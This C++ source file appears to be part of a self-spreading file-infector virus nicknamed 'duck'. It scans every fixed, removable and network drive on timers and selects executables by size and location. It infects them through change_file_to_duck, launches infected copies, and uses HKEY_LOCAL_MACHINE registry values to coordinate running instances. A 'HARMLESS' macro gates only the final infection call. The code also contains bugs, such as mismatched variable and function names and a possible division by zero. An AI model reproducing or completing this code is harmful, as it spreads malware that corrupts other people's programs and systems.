#include "duck.h"

//macros
#define TIMER_MINORROUTINE					0
#define TIMER_ALLFILESTODUCKS				1
#define INTERVAL_MINORROUTINE				2000
#define INTERVAL_ALLFILESTODUCKS			2000

//declarations
DWORD __stdcall RunMinorRoutineOnce(LPVOID);
DWORD __stdcall AllFilesToDucks(LPVOID);
DWORD __stdcall SpreadDucksOnce(LPVOID);


VOID __stdcall WageMinor()
{
	SetTimer(ghMsgWindow,TIMER_MINORROUTINE,INTERVAL_MINORROUTINE, [](HWND, UINT, UINT_PTR, DWORD)
	{
		CreateThread(nullptr, NULL, RunMinorRoutineOnce, nullptr, 0, nullptr);
	});

	SetTimer(ghMsgWindow,TIMER_ALLFILESTODUCKS,INTERVAL_ALLFILESTODUCKS, [](HWND, UINT, UINT_PTR, DWORD)
	{
		CreateThread(nullptr, NULL, AllFilesToDucks, nullptr, 0, nullptr);
	});
}


VOID __stdcall StopMinor()
{
	KillTimer(ghMsgWindow,TIMER_MINORROUTINE);
	KillTimer(ghMsgWindow,TIMER_ALLFILESTODUCKS);
}


DWORD __stdcall RunMinorRoutineOnce(LPVOID)
{
	//the lp parameter points to the id of toduck thread

	const LPTSTR majorVal = nullptr;
	DWORD majorBytes;
	const LSTATUS majorPath = RegGetValue(HKEY_LOCAL_MACHINE, DUCK_REG_PATH, nullptr, RRF_RT_REG_SZ, nullptr,
		majorVal, &majorBytes);

	if (majorPath != ERROR_SUCCESS || !IsExeDuck(majorVal))
	{
		//set the major to this one if the reg does not point to an actual duck

		RegSetValue(HKEY_LOCAL_MACHINE, DUCK_REG_PATH,REG_SZ, gFileFullName,NULL);
	}
	else if (lstrcmp(gFileFullName, majorVal) == 0)
	{
		//turn this to major process

		PostThreadMessage(gMainThreadId, WM_TOMAJOR, NULL, NULL);
		return 0;
	}


	//delete the org file as long as it is not occupied

	TCHAR duckExtFileLoc[MAX_PATH];
	lstrcpy(duckExtFileLoc, gFileFullName);
	PathRemoveExtension(duckExtFileLoc);
	lstrcat(duckExtFileLoc, TEXT(".duck"));

	DeleteFile(duckExtFileLoc);


	//exit all if ducks are too many

	if (GetRunningDucksCount() > MAX_RUNNING_DUCKS) SafeTerminate();

	return 0;
}


VOID __stdcall WageMajor()
{
}


VOID __stdcall StopMajor()
{
}


VOID __stdcall FileOperatingRetriver(LPCTSTR filePath, BOOL isRemovableDisk, LPDWORD rdc)
{
	//check extension

	if (PathFindExtension(filePath) != TEXT(".exe")) return;


	//check size

	const HANDLE fileHandle = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, nullptr,
		OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
	DWORD highSize;
	const DWORD lowSize = GetFileSize(fileHandle, &highSize);
	CloseHandle(fileHandle);
	if (highSize != NULL || INFECTABLE_SIZE_MIN > lowSize || lowSize > INFECTABLE_SIZE_MAX)return;


	//check location

	TCHAR strFilePathLow[MAX_PATH];
	lstrcpy(strFilePathLow, filePath);
	CharLower(strFilePathLow);

	TCHAR sviStr[MAX_PATH], pdStr[MAX_PATH], winStr[MAX_PATH], pfStr[MAX_PATH];
	sviStr[0] = pdStr[0] = winStr[0] = pfStr[0] = GetBootDrive();
	CharLower(sviStr);
	CharLower(pdStr);
	CharLower(winStr);
	CharLower(pfStr);
	lstrcat(sviStr, TEXT(":\\\\system volume information"));
	lstrcat(pdStr, TEXT(":\\\\programdata"));
	lstrcat(winStr, TEXT(":\\\\windows"));
	lstrcat(pfStr, TEXT(":\\\\program data"));

	const BOOL locProtected =
		StrStr(strFilePathLow, TEXT("jetbrains")) != nullptr ||
		StrStr(strFilePathLow, TEXT("wolfram research")) != nullptr ||
		StrStr(strFilePathLow, TEXT("matlab")) != nullptr ||
		StrStr(strFilePathLow, TEXT("visual studio")) != nullptr ||
		StrStr(strFilePathLow, sviStr) != nullptr ||
		StrStr(strFilePathLow, pdStr) != nullptr ||
		StrStr(strFilePathLow, winStr) != nullptr ||
		StrStr(strFilePathLow, pdStr) != nullptr;
	if (locProtected)return;


	//check if the file is DLL-preceded

	if (!isRemovableDisk)
	{
		TCHAR subStrPattern[MAX_PATH];
		lstrcpy(subStrPattern, filePath);
		PathRemoveFileSpec(subStrPattern);
		lstrcat(subStrPattern, TEXT("\\*.*"));
		WIN32_FIND_DATA fileInformation;
		const HANDLE hFile = ::FindFirstFile(subStrPattern, &fileInformation);
		if (hFile == INVALID_HANDLE_VALUE)return;

		DWORD dllFound = 0, exeFound = 0;
		do
		{
			const LPTSTR ext = CharLower(PathFindExtension(fileInformation.cFileName));
			if (lstrcmp(ext, TEXT(".dll")) == 0) dllFound++;
			else if (lstrcmp(ext, TEXT(".exe")) == 0) exeFound++;
		}
		while (FindNextFile(hFile, &fileInformation) == TRUE);
		if (dllFound / exeFound < INFECTABLE_DLLEXE_RATIO)return;
	}


	//check if the file is a duck

	const BOOL isDuck = IsExeDuck(filePath);
	if (isDuck && *rdc < MAX_RUNNING_DUCKS && !isRemovableDisk)
	{
		//run this duck but do not run it automatically in removable disks

		STARTUPINFO info = {sizeof(info)};
		PROCESS_INFORMATION processInfo;
		CreateProcess(filePath, STR_DUCK_KEY, nullptr, nullptr, TRUE, 0, nullptr, nullptr, &info,
			&processInfo);
		(*rdc)++;
	}
	if (isDuck) return;


	//qualified that the file is not a duck and can be infected

#ifndef HARMLESS
	change_file_to_duck(str_file_path);
#endif
}


DWORD __stdcall SparkDucksOnce(LPVOID)
{
	QuackVoiceOnce();
	RegisterDuckIcon(TRUE);


	//delete the org file as long as it is not occupied

	TCHAR duckExtFileLoc[MAX_PATH];
	lstrcpy(duckExtFileLoc, gFileFullName);
	PathRemoveExtension(duckExtFileLoc);
	lstrcat(duckExtFileLoc, TEXT(".duck"));

	DeleteFile(duckExtFileLoc);

	return 0;
}


DWORD __stdcall AllFilesToDucks(LPVOID)
{
	//get logical disks

	DWORD disksCode = GetLogicalDrives();
	TCHAR disks[128];
	TCHAR disk = 'A';

	for (DWORD x = 0; x <= sizeof disksCode * 8 - 1; x++)
	{
		if (disksCode % 2 == 1)
		{
			TCHAR diskStr[2];
			diskStr[0] = disk;
			diskStr[1] = '\0';
			lstrcat(disks, diskStr);
			lstrcat(disks, TEXT("\0"));
		}
		disk++;
		disksCode = disksCode >> 1;
	}


	//enumerate files in disks

	for (INT x = lstrlen(disks) - 2; x >= 0; x -= 2)
	{
		TCHAR diskPath[3];
		lstrcpy(diskPath, &disks[x]);
		lstrcat(diskPath, TEXT(":"));

		const UINT driveType = GetDriveType(diskPath);
		const BOOL removable = driveType == DRIVE_REMOVABLE || driveType == DRIVE_REMOTE;
		if (driveType == DRIVE_FIXED || removable)
			RetrievalOperate(diskPath, TRUE, removable, nullptr,
				FileOperatingRetriver);
	}

	return 0;
}


DWORD __stdcall RunMajorRoutineOnce(LPVOID)
{
	//turn to minor when the path of the reg does not match this

	const LPTSTR majorVal = nullptr;
	DWORD majorBytes;
	RegGetValue(HKEY_LOCAL_MACHINE, DUCK_REG_PATH, nullptr, RRF_RT_REG_SZ, nullptr, majorVal, &majorBytes);

	if (lstrcmp(majorVal, gFileFullName) != 0)
	{
		StopMajor();
		PostThreadMessage(gMainThreadId, WM_TOMINOR, NULL, NULL);
	}


	//check meeting close key

	LPTSTR str;
	DWORD strSize;
	if (0 == RegGetValue(HKEY_LOCAL_MACHINE, DUCK_REG_PATH, nullptr, RRF_RT_REG_SZ, nullptr, &str, &strSize)
		&& lstrcmp(str, STR_DUCK_KEY) == 0)
		SafeTerminate();

	return 0;
}